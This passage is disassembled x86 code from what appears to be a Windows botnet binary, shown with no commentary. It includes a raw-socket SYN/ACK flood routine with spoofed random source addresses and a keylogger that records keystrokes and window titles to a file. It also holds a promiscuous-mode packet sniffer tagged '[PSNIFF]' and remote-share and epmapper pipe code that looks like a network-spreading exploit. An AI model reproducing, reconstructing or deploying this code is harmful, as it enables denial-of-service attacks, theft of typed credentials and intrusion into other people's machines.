0FFh push 3 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417076 pop ecx pop ecx push ebx nop call near ptr 25F0320h loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417076 pop ecx pop ecx push ebx nop call near ptr 25F0320h loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172AE cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417076 pop ecx pop ecx push ebx call near ptr 25F0320h nop loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43F6A8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43F668 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730A mov esi, eax shl esi, 8 call sub_41730A add esi, eax shl esi, 8 call sub_41730A add esi, eax shl esi, 8 call sub_41730A add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730A cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43F668 mov [ebp+var_16], ax call sub_41730A cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_18], ax call dword_43F664 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730A push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730A push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43F668 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43F668 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417076 pop ecx pop ecx push ebx nop call near ptr 25F0320h loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172AE add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417076 pop ecx pop ecx push ebx nop call near ptr 25F0320h sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 2610000h lea eax, [ebp+var_114] push 104h push eax nop call near ptr 2600552h lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F688 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 call near ptr 26004EDh nop call dword_43F5F0 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172AE sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43F548 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43F634 test ah, 80h jz short loc_402529 push 14h call dword_43F548 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43F548 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172AE sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417076 pop ecx push 0 call near ptr 25F0320h nop sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43F668 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43F6A8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417076 pop ecx push esi call near ptr 25F0320h nop loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43F614 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417076 pop ecx push esi nop call near ptr 25F0320h loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43F680 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43F5A4 movzx eax, ax push eax push [ebp+var_C] call dword_43F6F4 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43F5FC push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43F700 push [ebp+var_30] call sub_417076 pop ecx push esi call near ptr 25F0320h nop sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43C80C push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2620000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_43C808 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43F708 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43F708 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43C80C pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2620000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43F5A8 test eax, eax jz short loc_402B7D push 7D0h call near ptr 26004EDh nop jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F678 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCB mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset off_427A80 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" 